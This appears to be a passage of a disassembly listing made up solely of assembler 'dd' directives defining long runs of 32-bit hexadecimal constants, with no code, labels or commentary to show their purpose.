dd 0F49FCD98h, 0E7EB3104h, 2D792A5Fh, 0CF7A18D7h, 37F8F50Eh
dd 0C3173019h, 9F499E87h, 0FE3EAD43h, 6283E5C4h, 8454A230h
dd 94814CD6h, 0C9543EA7h, 5B7156B9h, 0C30FF7B3h, 87ABC2B3h
dd 27ECFB0Fh, 0FE5FB7F4h, 495872Ah, 2C302018h, 89980114h
dd 0E23F8E0Ah, 6650D08Fh, 5FCC0765h, 84F1F518h, 13B32038h
dd 0F2F843FBh, 0D6C67F91h, 0C65F392Ch, 0A6B924CEh, 998C8CF5h
dd 0F9C3F156h, 0D77440B7h, 6AC1324Eh, 0ACD14ACDh, 1C6CEE46h
dd 0E734F4D0h, 0C586FF1Dh, 7532FC3Ah, 2EB14FEDh, 1BC68ED1h
dd 975C8B0Fh, 0E400BF3Eh, 8D58CB2Ch, 4C97E462h, 0A492D0E3h
dd 0FEE93BBBh, 0D125D1F5h, 0F01D830Bh, 3EDB7840h, 0D8E48F90h
dd 2FE6EE26h, 6E4067D8h, 0F97D5748h, 25E7AA71h, 8D9FC01Eh
dd 63A2F6B9h, 0AFC0AB99h, 0CA851B9h, 2B6E8789h, 5FBDBEE3h
dd 0FD095443h, 6C378331h, 0D375D978h, 83072121h, 0B224B866h
dd 6222CCFh, 2C4458C7h, 0BA585A02h, 1E8C93E8h, 0A182C200h
dd 2A0A0307h, 82767645h, 0CED302CFh, 5FFED939h, 0A9438C5h
dd 5DAC3977h, 8F4C4C44h, 8614BBEh, 4B8AE0D1h, 0D57FE8D2h
dd 0F3094950h, 4085BF21h, 9C23070Ah, 6CB25742h, 0D8AE940Ch
dd 0A0916B64h, 46F66093h, 0F43BC90Fh, 1236D53Ch, 0B60CF7F6h
dd 38D0258Fh, 1FE59CFBh, 0FBDEC58Eh, 0AD4BA957h, 0B6DD63B0h
dd 72CB1EF3h, 0E2D2A7C8h, 25F2E2B6h, 70924528h, 0EEDA450Bh
dd 0FFEECB8Dh, 0EA1DA3DAh, 49E9BC1Ah, 735E901Ah, 34E1266Eh
dd 1510FCFh, 0E6AA39D2h, 88499C72h, 56C88B64h, 0D01AD8A6h
dd 0EB32019Ch, 0D2E9BCBBh, 8353A77h, 9FA2CC77h, 26A15929h
dd 0F7FC417Eh, 3E478F18h, 5B69BFB2h, 804AF740h, 6F0457A8h
dd 19E4308Eh, 5E0E2444h, 18529954h, 722E3882h, 0C01C9D75h
dd 0B8FA13E2h, 0D807190Dh, 60D374EEh, 1F4B4219h, 0ECA7D12Fh
dd 1A4DD563h, 1B7816FDh, 0D93C8186h, 0DAAF2988h, 0E05FB6D6h
dd 296CD81Dh, 3B0F1B16h, 45C5FD0h, 1FC4FC54h, 92D5142Fh
dd 79CF0A5Ch, 3A9C9285h, 0ECCCD8EBh, 0D11DEA0h, 0A6D0F42Ah
dd 730BE9C3h, 2186FC25h, 2340337Ah, 0DBBA5073h, 644848FBh
dd 642BD6EEh, 0DE9D42C2h, 89730F30h, 90B8656Ch, 0B312008Eh
dd 70055F3Ch, 7AE6854Ch, 50340943h, 59003874h, 0B66919FEh
dd 262E7DD4h, 2A742DC1h, 505A6EE4h, 0A205BE58h, 0B82323FEh
dd 80B1AFEAh, 9EB8B5B7h, 987A1F70h, 0C94FC410h, 80CBE88h
dd 3294BFF7h, 1F89A509h, 0B4551E78h, 9415DB4Ch, 0A4E225A0h
dd 14789A69h, 24F77AF6h, 1716438Ah, 20D342D7h, 0ED983E56h
dd 960E18B3h, 370B0A12h, 49C63E9h, 9CE78AABh, 0FF6B481h
dd 8F8866F2h, 0C0DAD2BBh, 7EF8E39Dh, 0A2BC4838h, 18B41B2Ah
dd 98FC7795h, 0EC909AA9h, 0C4BAAD26h, 4905BCD2h, 6CE8D3Ah
dd 41A82795h, 0AFE71CDh, 26FB7DAFh, 79C0A4ECh, 0E1BA7B12h
dd 0A4C78105h, 9C333787h, 6F97F330h, 374637A9h, 4682EEEEh
dd 0ABA7D825h, 670181E9h, 0E3B19042h, 23FAE331h, 5FE7E16Bh
dd 7DE93D5Bh, 0ACF4636h, 84C04051h, 0C1A7CF18h, 0F8B284EEh
dd 9B178794h, 81217F4Dh, 0BB9B6407h, 95CED827h, 0ACA51695h
dd 0B5A412BCh, 84F2321Ah, 821668F6h, 8CE93F1Dh, 0F85448ABh
dd 24BFD395h, 5B5DA036h, 36DE09ECh, 0B30E39CAh, 0BEAD0D23h
dd 50E7FFC1h, 79D2D59Dh, 0FE4C638Bh, 1C7AC8E8h, 0FF5858E5h
dd 0C0F94BEDh, 5D9619CAh, 17065002h, 0CDA65DA4h, 0DE77664Ch
dd 49D1494Dh, 574F5C0Fh, 71C764B9h, 0B4FF34FAh, 4C4F5BBFh
dd 264EFE84h, 70E2EBA3h, 9E7ABBD0h, 9F23EFB9h, 28DB74A9h
dd 92C9FE77h, 28D3FADEh, 0D3948622h, 0C610B3D1h, 0BA4BF262h
dd 48E13C63h, 422788EFh, 4235D830h, 36451007h, 7F297AECh
dd 1B433F88h, 0E2EF3671h, 8DAA648Bh, 0D1A47805h, 0F8953287h
dd 651B088h, 2BF68241h, 39BF8FE8h, 0C5E07DD2h, 317EA022h
dd 0E7FB476h, 0F924A2F7h, 5A5C76F4h, 0FA65B082h, 0E6E6FC81h
dd 0E7B0E8C8h, 209631B4h, 0B6AEE2A2h, 0EDFB6326h, 0AB4443CAh
dd 41B264CBh, 0A6613EDFh, 8A5839F2h, 90683802h, 924D52F2h
dd 0A4E77561h, 0A2ECD8A9h, 24EF61D9h, 66B05650h, 0BAEFFE2Eh
dd 71DB041Ah, 95F9476Fh, 4BC9C8FAh, 0C45832C8h, 5963A94Ah
dd 204E7B80h, 781A8B0Fh, 90665F8Fh, 0A45A5DACh, 4D006FB6h
dd 0D4B97C4Ch, 10E02AF3h, 51A5BC58h, 0E9131E71h, 56A48411h
dd 53ACF6DBh, 0DA051F99h, 0F7E38E56h, 1874E31h, 0EB611640h
dd 0A3B98B76h, 8C97D6EEh, 92C866BAh, 0B48A8AFCh, 60FB9EAAh
dd 7708077Eh, 958540BBh, 0D3E65E39h, 0BBEF80A5h, 0C05C2185h
dd 519585C2h, 636D08BFh, 0AC778903h, 0B25C9592h, 0C99C6292h
dd 0FCF2A947h, 992E83A8h
dd 0BA7A4970h, 0E6B00ABAh, 0DBA4134Ah, 0E8C8785Fh, 4AE333Bh
dd 2A0BD4BCh, 0E469D1E8h, 788F39DEh, 0FAD7BC1Dh, 6CAB1C1Ah
dd 0B3FFF4DAh, 0CA3EBFDDh, 0ACFBDF71h, 568A20EAh, 0A5E85470h
dd 0A4071576h, 0E9279850h, 0FA0DA285h, 0F9D0B53Ch, 8EB3D983h
dd 2F57C52h, 6096A5C6h, 51FA5428h, 0ACE5B9A0h, 0B5A6924Fh
dd 0D6DF80CBh, 0E3329453h, 52CDCFBBh, 85EE7F7Eh, 0F4EF0BC1h
dd 1B0C772Bh, 0A0F24253h, 3697AD3Eh, 809D7344h, 38E6B10h
dd 92A9DE9Fh, 7C633ACBh, 54A82224h, 0F2575172h, 3EA04E48h
dd 495E80DEh, 0FE4C8846h, 924443A4h, 0A2B9AADBh, 25C1DEDAh
dd 636C67D9h, 8DA906C2h, 0D93C8940h, 20C8140Bh, 0FD66DA34h
dd 0A9093607h, 353AD981h, 69A9A54Dh, 7441AD70h, 2239344Ah
dd 6D7BF44Dh, 1F43F5EAh, 211DB898h, 9D66807Bh, 78C36D4h
dd 0F18F15BBh, 6D6D03CCh, 552E0A63h, 0D47E0A56h, 40AD165Fh
dd 0FD3B8ADBh, 35D379E5h, 0F57BDAD2h, 5FD803E3h, 99D3B670h
dd 55D44C1Ch, 733D17AAh, 817CC888h, 0F6258C7h, 4CAF0B30h
dd 4A9A0B67h, 8EDEBDAFh, 5DED72ECh, 427143A4h, 439691E3h
dd 61645167h, 72F1FCE6h, 6A2E7CDAh, 2330BF69h, 1F3EC0EFh
dd 640F9D79h, 0D8C5E735h, 0EEDDA340h, 36371BBh, 12E6F25Ah
dd 94613F7Ah, 0C2C139D9h, 0D41FDB54h, 8BB2CC3Fh, 125EC1C9h
dd 1256F282h, 0DB52B22Ah, 4A1230A1h, 0CCC1A08h, 54F6C133h
dd 3DB85BA1h, 66CD12B8h, 0DE7E12EAh, 82B5D80Bh, 0C773E48Bh
dd 0ED7030E1h, 0B324CCD5h, 5D6AE353h, 3E4AE9D8h, 3DBDC562h
dd 9477D91Bh, 3CCAA71Ah, 6419529h, 0D35A56D2h, 0C250D073h
dd 12571F46h, 7FB219E7h, 9ECC358Dh, 2D2A0F3Fh, 0C915B26h
dd 38C0DEAFh, 0CBD51C53h, 92521E43h, 0E20B540Ch, 889732D3h
dd 0CE4AE6DCh, 0EF1338FCh, 0A7E4B110h, 2175A7B9h, 46633166h
dd 0AEDA421Ah, 75A5A9DBh, 0F124E506h, 43D6D392h, 0E6AD6BE2h
dd 4469D5D1h, 13A86800h, 23688528h, 0C97F2B20h, 0C6A7A23Ah
dd 5C931503h, 0E22FAE6Fh, 317C2750h, 0A8F4C87Ch, 2185295h
dd 0BA8D7136h, 33B08955h, 0ED7C904Ah, 8512F1ECh, 0E5691C94h
dd 97AFDECDh, 5D6A5322h, 0FE521026h, 0B09BF0E4h, 5CEF7983h
dd 8FEC266h, 0B27E314Ch, 0A7475B1Bh, 2D82B81Ch, 701DE9ABh
dd 598CCAB5h, 978C1FBAh, 8E5D9878h, 0DBD4908Dh, 2C9FC359h
dd 0FFB62256h, 0FF8D337Fh, 0CC373732h, 2D932827h, 93061B1Ah
dd 0B76FE13Bh, 8D63F8D1h, 4DEE5159h, 28C2A3ECh, 0D0E71C6Fh
dd 0B4DE9CB9h, 752BEC7Dh, 5F835342h, 576BBF3h, 0EDE5C265h
dd 5CDC2D9Dh, 0B8E5B8B2h, 0AF2BCC73h, 0F78218EBh, 4F426D10h
dd 8BE87083h, 0DEB9DEE6h, 0CEF32A21h, 6F9923FBh, 0B0A67FF3h
dd 0DF9D5E5Ah, 0A672D682h, 380693C4h, 4C798F2Dh, 9332B21Bh
dd 0EA6BBCE0h, 47FAFE3Ah, 9DA463B5h, 8CFCC556h, 257CA232h
dd 75379216h, 0F6B8F7ADh, 3B3CC256h, 0D2C0E4CCh, 7AB13947h
dd 0E010253Fh, 0AD2461A9h, 67D98BA8h, 9217829h, 6ABA151Fh
dd 620D6918h, 30493ABh, 0C260E4AFh, 8C535D45h, 0E5CBB8ACh
dd 7CC85659h, 0D53184F6h, 89C27E3h, 0CAD95C8Eh, 0F3C08D4Ch
dd 4D92EB8Fh, 449409E9h, 7C3F73Ah, 5E0FA2Ch, 5C0784C8h
dd 0AAC3F95Eh, 0ECDDFAA9h, 1E08E67h, 21D0BBF8h, 0DF8CA793h
dd 4558CF6Fh, 0CA9FC1F7h, 0E966BEF1h, 0F13ABFDEh, 0CCE2A242h
dd 72B14D9h, 3940D2FEh, 0CAC20767h, 0CA66F1Bh, 0E4ED4E1Ch
dd 0A68C3369h, 6EDBBE2Dh, 93BA0A26h, 0AF45C3E0h, 7D61DDDDh
dd 7AFDC37Bh, 7801B58Ah, 3ABEA7B4h, 89212ECh, 0ED05CEEBh
dd 0F77A281Bh, 765A8CA7h, 0D9B3BBC7h, 0FC6C88D6h, 5854126h
dd 930DF2A8h, 646141E3h, 228A6ED5h, 0F9FADC47h, 67DA70Ah
dd 6ACA0301h, 96ED6D70h, 386E8C2Ch, 60B9905Bh, 4E1AD016h
dd 1BA3C814h, 8D3BDBEh, 6DBF97F8h, 0E18842BAh, 50DEA749h
dd 0B920B65h, 41BCF92Dh, 9CDFB201h, 911A40C4h, 0A66E9D00h
dd 0A0CF80A4h, 15175A05h, 10228B0Ah, 38233829h, 65C50C6Bh
dd 0C0A51A90h, 0A1BEE3EDh, 5939C077h, 0F21B6538h, 18372A3Dh
dd 0BA955D50h, 0C300BB20h, 44B347DAh, 23DB6E34h, 1A28667Fh
dd 47336620h, 0FB474D69h, 0FE9BF15Ch, 0EFD183D8h, 5236F16h
dd 9444C185h, 0AF80727Fh, 4FFCB332h, 0EB0D97CEh, 8EDEE9A1h
dd 51C0B95Dh, 8758FDA8h, 5585A0AAh, 0A2CED523h, 0EC241272h
dd 96834920h, 94B79CCFh, 0D900C6A0h, 3626E430h, 33748FA1h
dd 4B800F0Ch, 0D460C2E3h, 8A9BED8Ah, 0DF4A068Eh, 0E6D96641h
dd 0D32E870Bh, 9C3AA6F2h, 0A8079F84h, 79FE2D15h, 8CE3906Eh
dd 4703F64Fh, 0C94BA310h, 0DC09260Dh, 7F22B5F1h, 88C7CEA3h
dd 7A0CC83Dh, 0BD9896D8h, 3788330Ch, 0EC975E04h, 0FBFA1492h
dd 10049119h, 8BE85FA8h, 6599A2B0h, 261FF0F8h, 9FAFFF5Ah
dd 0F5190AC2h, 21B6C61Ah, 0BF8FF277h, 78AF3831h, 342E2D1Dh
dd 17DEEFEAh, 0C77E7F07h, 0A22F1E6h, 0AE4AA425h, 41D77D18h
dd 9D9E97C1h, 0DA034C92h, 0D6643437h, 0B15D9B69h, 164F4092h
dd 29761D11h, 900ABA97h, 68F40A72h, 69BD29DDh, 0E293DE2Fh
dd 21094200h, 80F30824h, 0F238518Eh, 0E1AA1D03h, 755164DDh
dd 15F98B8Eh, 4D0F9D84h, 0A22A1F05h, 217173ABh, 0E538FC02h
dd 316D553Eh, 163B4446h, 0D013C441h, 0C2397214h, 0C2B61F6Ch
dd 8A639649h, 84E91ECDh, 0FDBEBE8Ah, 7F356B9Eh, 5F80A5DBh
dd 6008CC4Eh, 0A400EF77h, 2E9523BAh, 0FA6CAC2Bh, 6CEE5810h
dd 67147ACEh, 81BCD8Ah, 9B0AFDD0h, 0D497BACh, 3E779598h
dd 5F9AE22Ah, 0A367468Bh, 0C5215290h, 57EED3A8h, 56EFF54Bh
dd 0D4B4AD74h, 255B018Eh, 0DC13D137h, 8CB83025h, 0B718C964h
dd 49FA3DABh, 0B12D0693h, 4806C554h, 0A3FE14DDh, 20E12407h
dd 5EE42A1Ah, 66B32DF7h, 37B919A4h, 294AC949h, 8A8A1460h
dd 0E1EFBD1Fh, 86F451E2h, 3EF29203h, 4B0C5EFFh, 22F6CA17h
dd 29FF2E2Ah, 0AC19B6B2h, 0DF6B04A7h, 8B88A44h, 0A8BC6BFDh
dd 7A265D50h, 7AD6371Ch, 68C23BACh, 0E53A417Ch, 0F58294E7h
dd 1AB178B9h, 0E22A85F6h, 9516EA8Ah, 0F2A9107Ch, 8E7B1830h
dd 1A361C59h, 0EBF1E97Ah, 0CBC490Eh, 0CAC3D3FDh, 0DB982B09h
dd 0DBF8D82Ch, 7991B72Ah, 0BD586497h, 2A68253Dh, 0E6BC3ABAh
dd 0C0317430h, 0A4AE88CEh, 2F0348CEh, 9F154590h, 909712A4h
dd 15B1A6B4h, 13A3275Ah, 0EBE9E93Eh, 57479EA3h, 66BF7ED5h
dd 6F5EE76Ah, 0DEE30C25h, 0EC35E12Bh, 2D4EBF91h, 4D444173h
dd 27D6408Bh, 0F5DEFB3Eh, 0FC299E79h, 94B62F47h, 0E4055DA9h
dd 0F0C68C93h, 460C5728h, 0BB383B4Fh, 91231176h, 0CA7190A4h
dd 0A0A5F08h, 0C270CBC4h, 0A93A8033h, 0F46151BBh, 0FBC145D5h
dd 72A3F26Fh, 2805516Bh, 188508BDh, 675C583Dh, 9BE39D8Eh
dd 0CA63DC97h, 84A74D59h, 4A2058F3h, 3A2B963Fh, 418BC7C7h
dd 0E3DE1924h, 57D723D2h, 1D0699EFh, 0AFFAD97Ch, 87D46E2Fh
dd 0F00E875Dh, 834675DAh, 0B6EDB9E9h, 5D1AE71Ch, 6E3D6164h
dd 93D79CB3h, 7704FC4Dh, 4F2906FEh, 0B46F131Fh, 763F4120h
dd 77837F7Ch, 0A31EF009h, 14167989h, 74133DFEh, 7EFD02A3h
dd 0CC19FFE0h, 66B04687h, 45711C3Eh, 9C222BB0h, 0C3684F91h
dd 0A6DA3F4Dh, 0EE8A48DBh, 0D0B3B337h, 2D4D6A87h, 44F262A8h
dd 0E5384B20h, 7E9A45BFh, 0F2B7C21Ah, 784DE5A3h, 0EDB109E5h
dd 99FE2564h, 0D162C4A2h
dd 40AD56D5h, 0F4DD16A5h, 1F721875h, 838B13ABh, 162AFB52h
dd 0F598C3D0h, 65EA618Ch, 48365843h, 278250DDh, 9C2A3198h
dd 994D3515h, 0F01DF2E8h, 0F3DC1C62h, 0FC9E0C8Bh, 88686303h
dd 0F11B24h, 7F533547h, 0A120F695h, 722EF31Eh, 9DF9FF3Dh
dd 4470C365h, 103FDDFDh, 0C8A06AF5h, 0AACE03EDh, 70867B40h
dd 25302218h, 77D5E6C7h, 5ECFBDA0h, 1C661CFDh, 4051E396h
dd 0B145F878h, 4B1C0B20h, 9865DCB1h, 59CFCB2Ch, 0C1C17BA5h
dd 36449Fh, 0C0C79DBDh, 0A7D3E6A2h, 0A30C1BE5h, 901B202Bh
dd 5961BAFEh, 0AFEF0562h, 3AA0F4C4h, 6287183Fh, 0FD688385h
dd 0A9690BCBh, 57B9F182h, 4B5454C6h, 0DB8042C9h, 3A70D86Dh
dd 456930A4h, 367A8D05h, 2416B4A2h, 8D5ACB38h, 0F622C3DAh
dd 4F054BBAh, 99B5A115h, 9EA84512h, 851E7A9Fh, 0E049120h
dd 312A318h, 7FFEC6ECh, 5B93DF9Bh, 9527050h, 59B64301h
dd 5EEB7962h, 0E10745F8h, 0A5FE63CDh, 854DA8B7h, 4EC1556Eh
dd 0D0242ABAh, 0D4687860h, 31E1C613h, 38477343h, 5229136Ch
dd 0F85278A0h, 4641D4CCh, 0ACE1456h, 4D725BAFh, 0B07885D6h
dd 36E498CCh, 84EBADA5h, 8A1342Eh, 0AA546571h, 6479996Ah
dd 0D69D9D70h, 30562ED4h, 9BD24B4Eh, 76292D00h, 6336C425h
dd 0AEAA7E4Fh, 0C595B942h, 56D1BE5Ch, 0DD6870A2h, 55A2B0A6h
dd 0ADAA5F58h, 588D4090h, 572B0AAEh, 0EAD5530Fh, 0EA8EF24Bh
dd 94B3A6A6h, 5C277FC7h, 546CDCCEh, 31E618CBh, 0D875EAh
dd 0FB50C474h, 9086E1ADh, 3866F46Dh, 0BFA1AF1Ah, 5F1D69E1h
dd 9A7D04C4h, 0EEFA0E73h, 6FAACD9Ch, 0D2860230h, 9DF386F2h
dd 0C6C06D21h, 1E1DEC75h, 8162E5Bh, 4BCD86DCh, 62592749h
dd 6D53E30h, 0D58E8B93h, 1F5DA31h, 8D667D76h, 0F93CC8CCh
dd 1ABC0213h, 250AB83Ah, 22975357h, 198BAB64h, 0BDF0CD7h
dd 0D17B08CBh, 0BEED90DAh, 0B5B4F4ACh, 0F01E021Ch, 0F701B18Bh
dd 8373355Ah, 0BF9F5C8Ah, 0A406AA72h, 0CD6067BBh, 86377FAAh
dd 0A1A10EC5h, 0D34FBDBFh, 3AB18BD4h, 0CC008D35h, 666C80ABh
dd 22A6739h, 0F083AE1Ah, 506E3D8Ch, 63AF6419h, 17742FE3h
dd 0C3413051h, 4CFA669Ch, 86EE48D6h, 0B18D5BA0h, 5BF5C84Fh
dd 0FE619A4Dh, 68EFA5CFh, 621AC69Ah, 0D35AD125h, 0A3622A12h
dd 0F15C70C6h, 0FDD8657Bh, 0BFCC7239h, 0F3F8706Dh, 499B32D6h
dd 0A2906D08h, 4AAEFCE5h, 815A0D10h, 67DDE23Ah, 286EE7CFh
dd 0A84A316Bh, 946D131h, 0EB09F8E7h, 0DABCAADEh, 5D9628BDh
dd 0CB784C69h, 800A49F7h, 3E734759h, 90A2D089h, 3C161535h
dd 0ABA8ECD1h, 0D80CFFF5h, 0C8D30F9Ch, 0EB02C4A2h, 43EB958Dh
dd 2B9B98A1h, 0FC610C30h, 0F688CE3Dh, 0C9D2170h, 41858620h
dd 5F691B83h, 7AA9845Fh, 1AC0D55Ch, 0AE3D37F4h, 17504840h
dd 0AF99A0A5h, 78DA5145h, 0FCB7F40Eh, 0DB41A671h, 986FF584h
dd 5D1B5335h, 1ED5C31Dh, 0DE87BD17h, 2FA6B462h, 0E104515h
dd 3DBC930Bh, 60A1CD8Dh, 5432EE04h, 77AAFE64h, 0F74C1EFFh
dd 69866EFAh, 65843730h, 2216E483h, 0A0700428h, 0A476920Dh
dd 0C510424Ah, 3ABA0B9Eh, 4DFC8C5Eh, 0A4C901F5h, 0C4B6A57Ch
dd 9A461F86h, 67DF51FCh, 0C56C4740h, 0CE60AC32h, 2E538901h
dd 0F47FACEBh, 0B8CDC699h, 96E37469h, 95EE27FCh, 9774524h
dd 0C0D14790h, 1A458327h, 2B9C9ADBh, 0FDA7BBE4h, 1B1C26B4h
dd 36749F08h, 0B3FC7D7Dh, 46D34E74h, 88BFB007h, 6BBB10FDh
dd 1BB7FF52h, 673F8301h, 0F216E965h, 6E82FD85h, 9C752A8Dh
dd 63E1ECB1h, 313C7FDDh, 8FC14B7Ch, 0D4162D32h, 82BEDEB8h
dd 35D1BD36h, 2FB66503h, 0C160617Fh, 1FBEFD40h, 4288F8C4h
dd 3EC9F470h, 0AAB1C6CEh, 0A1853411h, 4781D67Bh, 7EFEF62Ah
dd 0C2F3521Fh, 0CC71A05Eh, 25069DE9h, 0B1F34E92h, 0ECB0E014h
dd 52468603h, 1A67080Fh, 14AE5859h, 0A0F8BC20h, 2880FD58h
dd 8B30D6CBh, 0ED0B6DF3h, 0D85D0380h, 7B81F7B1h, 7995D19Ah
dd 1FF14989h, 0C14BF027h, 0E859AB4Ch, 0A0628E5Dh, 0B8D6CAD4h
dd 19C7A751h, 556DC2DCh, 0D90B59FEh, 0B922D8E8h, 36C8E8C2h
dd 0E84F8F50h, 876A12A3h, 8C955AF5h, 82CF0FFBh, 0AD096376h
dd 48815655h, 5E2670FCh, 0D0A36181h, 0FE78ABCDh, 0FA08B5A0h
dd 0A23327FDh, 3A0B1E2Eh, 0ACBF0DBAh, 29694BE8h, 0F27FD6B9h
dd 0BA4D4E1Fh, 4E2A0F09h, 9BD49BE9h, 7BDBFD6Bh, 51E550CCh
dd 90EBAC02h, 287F8B55h, 92B68ECCh, 22AE57Dh, 12B85851h
dd 3ECC39F4h, 4EA22432h, 64F10463h, 0EB2C9F7Ch, 0D306C730h
dd 1E4D3D6Ch, 3332D5E4h, 0EE316748h, 0B4AA7E1Eh, 11E05DEAh
dd 27F6DE4Ch, 0B441A5E3h, 3DEC2ACEh, 9BC5EF9h, 2F990405h
dd 0FC9CDDCBh, 0B50716Fh, 15A6978Eh, 654DD742h, 98E6E41Bh
dd 9320AF92h, 0A6F83B5h, 0ADC1435Ah, 9703D9A8h, 0EE6DBC39h
dd 0DEB790C7h, 72FBE2C6h, 0FD15645Ch, 5EC99E7Fh, 54A039FDh
dd 0C46C36B3h, 3B718C3h, 452E3728h, 7AB0C772h, 5F5B1083h
dd 0CF79A2EDh, 0AFA189C8h, 71FE0AFBh, 0A3E3AAAAh, 1D24F5E9h
dd 3C2FCF25h, 0E60DC868h, 0F83665BEh, 12509682h, 0FB7D3C49h
dd 1FBECD55h, 0E5233A25h, 89B010F3h, 79248D3Eh, 19EA976Eh
dd 0AC49A407h, 140D61Dh, 7370B63Eh, 2BE638FCh, 46615148h
dd 0AECEF2Bh, 0DC189CCCh, 0A0ACE083h, 0E5E2CD24h, 8C6088C0h
dd 0A8BAF994h, 1FC8BEE5h, 0E9D0522Ch, 0F5554F03h, 77C89883h
dd 6B69EEADh, 67647086h, 0E1507D7Fh, 0C983BDE9h, 0BE0A5D81h
dd 0F819EBE3h, 0EE4A079Ah, 0B0DCD990h, 0A9D7D0Bh, 704EAAD0h
dd 0D36C64C7h, 7CD56006h, 0F08C4B77h, 78915963h, 27AB3F1Dh
dd 0B90D5F6Dh, 7B636266h, 10F6A916h, 97AB8404h, 3842972h
dd 0C38AC125h, 29D9B2EEh, 13A85558h, 0ADF3B6B5h, 0A759C1CBh
dd 0B67AA0F5h, 0E3DEB169h, 0E81EEBC9h, 372628B7h, 9194D533h
dd 6F015899h, 0D4937F67h, 0F53CE70Dh, 6E1F95E8h, 3A550609h
dd 0FC84F7D5h, 10AAC390h, 0A5D251F6h, 0BC61E35Ah, 27FB5C13h
dd 714713D7h, 63CB36Ch, 1E2CEDE5h, 0EE2689D1h, 535489E8h
dd 5BC5FCDAh, 7C0B7ED0h, 0B868497Bh, 0A9AA2128h, 0B3253E6Ch
dd 94A661A9h, 2BC8571Dh, 83D8EA6Bh, 21533586h, 0B30EE092h
dd 662875F1h, 37F38CEAh, 0EFA63742h, 0AF349FC5h, 9397C146h
dd 0A527DAB4h, 63A24CAh, 3C2B35EAh, 5218B1C7h, 9CF67A33h
dd 3EDB34E5h, 542D8636h, 3B7A553Bh, 506F73EDh, 978ED181h
dd 0AC00CF6Dh, 478C9C94h, 0D1269F8Fh, 766AD040h, 0D045C30h
dd 351CC63Dh, 164977CFh, 0F88407F0h, 0DF7F20BBh, 0ECE42479h
dd 2731279Bh, 22A0BDDh, 45942472h, 4E26715Dh, 57975CDEh
dd 4A71165h, 252C2085h, 0E1B59745h, 0D326B54Ch, 4FBD61D3h
dd 3C8984D1h, 1386F29Dh, 15025468h, 53444069h, 0B96DAD6Ch
dd 0E8563030h, 6FB34FCDh, 7B45DAE2h, 1C7BCCCAh, 3BD36343h
dd 0ED848F95h, 5E02B534h, 0A1A2650h, 4AB030E9h, 54E5E392h
dd 8E4FB4AAh, 12D5FB51h, 16764E48h, 1E98803Dh, 50B58D4Fh
dd 7B455E74h, 953EA1CFh, 5A24B340h, 455F462h, 7A6BA816h
dd 0E49240DAh, 13108817h, 0DC96A93Ch, 0B180E471h, 6787B8C2h
dd 0B756CFDEh, 93103A37h, 0B11589F1h, 0E5A6EBECh, 92A817C5h
dd 7943D2BDh, 0B11C1BD9h, 29D53395h, 0AAB353C9h, 7DEE178Fh
dd 0BCC3912Fh, 792B2DC0h, 29F3510Bh, 8931048Fh, 0ED096402h
dd 47BC4D39h, 73F9DEE6h
dd 0B29E7363h, 0EE184F34h, 0CEBE702Dh, 415CC5E0h, 967EFCE4h
dd 49B3688Bh, 73AB50ACh, 8AC5BD0h, 0D705C8EEh, 536EFAEDh
dd 98124652h, 0FB2204D5h, 8280D8B8h, 0ECD63077h, 3084460Fh
dd 5C0747F6h, 840B4BEh, 64C01039h, 0ABB45242h, 82078D17h
dd 0EBDCA5h, 7497E211h, 0E830CF92h, 2E9703AEh, 0F3AEAE5Eh
dd 95E93C30h, 0F205BD5Ah, 1D813206h, 0B11FD854h, 2B000798h
dd 62C73D8Ah, 0B09425A9h, 0B6484FC1h, 7213A27Eh, 0D91BE195h
dd 0BE5DD07Fh, 8A034EDBh, 853BB02Ch, 0C2B60582h, 0A68B51Bh
dd 92934490h, 0BCE07988h, 0D74BE79Fh, 5F4FDA0Bh, 89DA96F5h
dd 0BB325EF3h, 0FB72489Eh, 4BE8A7EFh, 0EE229F7Fh, 9643FBEh
dd 0BF6D6832h, 63CFFE4h, 0A3B6F6F9h, 546DA885h, 0AFC1ED9Fh
dd 0B0E22661h, 63745185h, 3BCAF993h, 212C0CF4h, 91D24B3Bh
dd 0C2E8FC3Dh, 72E30EBAh, 74930D9Eh, 4D6237E9h, 0B8A9FEC2h
dd 9ED8ACA6h, 58C0DABh, 318A4A69h, 0ACD95894h, 0F607D5F4h
dd 5B8AEF61h, 0CDB054D3h, 5199D6DCh, 0A6A475B6h, 3D84213Fh
dd 0C85EE37Dh, 31F9B05Ch, 0F24E2755h, 0BEE48D9Eh, 4702C3CEh
dd 9DADC20Dh, 0F9346F95h, 0E0908F65h, 0F41EF1F4h, 857674A1h
dd 77957131h, 0C5B9EF9h, 4D132E38h, 6EF3F0Bh, 5B16F5E2h
dd 213189A3h, 68E64224h, 4110FF9Eh, 35F6CC3h, 0A788A600h
dd 2260BBF5h, 0BB0D9371h, 0C50E5F73h, 3581C5A3h, 2523FDC5h
dd 0AB17B380h, 5C091DE3h, 0D7BD11F5h, 0CBEE3604h, 43B0A147h
dd 2486B014h, 0C3082209h, 0BE95FA36h, 27930A30h, 2A8C6C35h
dd 0EA703561h, 535FC3DAh, 0A29BF389h, 5CF82C3Fh, 555DB37Ah
dd 50377902h, 0B61731B9h, 7B1FAE16h, 617E27AFh, 0AD5B66C2h
dd 97512DB8h, 0A008A3A0h, 42012EBFh, 8BCA4F16h, 961D6F0Dh
dd 7D8952AFh, 3566C17Bh, 8C18EF6Dh, 8A9A7A8Ah, 82F44BFh
dd 0BD8744ADh, 8BBEEAF8h, 50B48FF8h, 1F138333h, 0E1ACB0E4h
dd 0B2E3BE09h, 556E719Bh, 0C77DA8D4h, 2FB744D6h, 8297AEB5h
dd 7CBF98E5h, 62C29DF6h, 6FACFCBh, 0ECE47515h, 3E4FBF8Bh
dd 0E4A7C84Eh, 0D26AC320h, 0C1131A7h, 697470BDh, 0BA550A6Fh
dd 0CF62F2A8h, 0C1C95EC0h, 1D895538h, 5094039h, 0CCC5B0C6h
dd 0EE4FEF39h, 58895F18h, 5D972CE4h, 4122038Eh, 0B2BD17FCh
dd 7EA15483h, 27723E4Bh, 0C55814Ah, 0C817F708h, 0C4043D20h
dd 9E5E6B3Eh, 0AEE04B84h, 0FB020054h, 1503A709h, 0A868B628h
dd 88E74354h, 1993268Bh, 92B39A05h, 0EAEB52BFh, 0CE3E3BD7h
dd 3D544EA2h, 627718BDh, 18CE20D9h, 0BACBC4C6h, 1086C91Dh
dd 0E514C233h, 7548CE99h, 2E9F5508h, 0DB986A94h, 0C2061A32h
dd 0DDB9793Bh, 806E4424h, 0C3EB03D4h, 0D846EC4Bh, 2414D2Bh
dd 0E78635C5h, 0F298EFD2h, 0C17D4D28h, 3A6AAC62h, 0B5F1EDD8h
